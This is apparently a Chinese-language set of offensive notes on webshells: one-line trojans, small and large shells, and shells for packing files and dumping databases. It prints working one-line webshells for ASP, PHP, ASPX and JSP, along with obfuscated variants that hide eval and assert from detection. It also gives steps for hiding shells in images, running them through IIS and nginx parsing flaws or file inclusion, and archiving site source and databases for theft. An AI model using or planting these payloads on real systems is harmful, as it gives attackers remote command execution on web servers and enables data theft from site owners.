一句话木马
小马
大马
打包马
脱裤马等
一句话木马短小精悍,而且功能强大,隐蔽性非常好,在入侵中始终扮演着强大的作用
<%execute request("value")%>
类似如下代码插入脚本文件中:
<%execute request("value")%>
使用execute函数,其中value是接受变量,request用来获取这个值
<%eval request("value")%>
比较多见的,而且字符少,对表单字数有限制的地方特别的实用
一句话木马,它是基于B/S结构的
asp一句话木马:
<%eval request("c")%>
php一句话木马:
<?php @eval($_POST[value]);?>
aspx一句话木马:
<%@ Page Language="Jscript"%>
<%eval(Request.Item["value"])%>
jsp一句话
<%if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("/")+request.getParameter("f"))).write(request.getParameter("t").getBytes());%>
小马体积小,容易隐藏,隐蔽性强,最重要在于与图片结合一起上传之后可以利用nginx或者IIS6的解析漏洞来运行,不过功能少,一般只有上传等功能。主要用来上传大马
大马体积比较大,一般50K以上。功能也多,一般都包括提权命令,磁盘管理,数据库连接借口,执行命令甚至有些以具备自带提权功能和压缩,解压缩网站程序的功能。这种马隐蔽性不好,而大多代码如不加密的话很多杀毒厂商开始追杀此类程序
用途:
提权
打包
脱裤
增删文件
哥斯拉
冰蝎
蚁剑
天蝎
内容编码
制作图片马
配合解析漏洞
配合文件包含
<?php $_REQUEST['a']($_REQUEST['b']); ?>
<%Eval(Request(chr(112)))%>
<%eval (eval(chr(114)+chr(101)+chr(113)+chr(117)+chr(101)+chr(115)+chr(116))("xindong"))%>
<%eval""&("e"&"v"&"a"&"l"&"("&"r"&"e"&"q"&"u"&"e"&"s"&"t"&"("&"0"&"-"&"2"&"-"&"5"&")"&")")%>
<%a=request("gold")%><%eval a%>
<?php ($_=@$_GET[2]).@$_($_POST[sz])?>
<?php $a = str_replace(x,"","axsxxsxexrxxt");$a($_POST["sz"]); ?>
<?php $k="ass"."ert"; $k(${"_PO"."ST"} ['sz']);?>
<?php $a = "a"."s"."s"."e"."r"."t"; $a($_POST["sz"]); ?>
在菜刀里写http://localhost:8081/test/a.php?2=assert密码是sz
copy /b 1.jpg+1.asp 2.jpg
其他工具直接插入
上传图片格式配置解析漏洞拿shell
x.asp/x.jpg
x.cer
x.asa
x.php.xxx
x.jpg/.php
将大马保存为2.jpg 将文件包含代码保存为x.asp
内容:
<!--#include file="2.jpg"-->
一并上传到同目录下,访问x.asp即可。
php包含代码如下,使用方法相同。
<?=include '2.jpg'?>
保存为x.php
查找webshell后门
找到后门地址
反搞webshell箱子
命令行调用 RAR 打包:
rar a -k -r -s -m3 c:\1.rar c:\folder
用途:打包源码 打包任意文件(数据库)
注意:rar文件路径 符号问题("")
各种(asp/aspx/php/)打包马的使用
常见网站数据库类型
Access、sqlserver、mysql、oracle、
数据库允许外部地址链接
上传数据库管理脚本
使用数据库远程管理软件(nvcat、sqlserver连接器等)
数据库不允许外部地址链接
上传数据库管理脚本
sqlmap
burp
中国菜刀数据库管理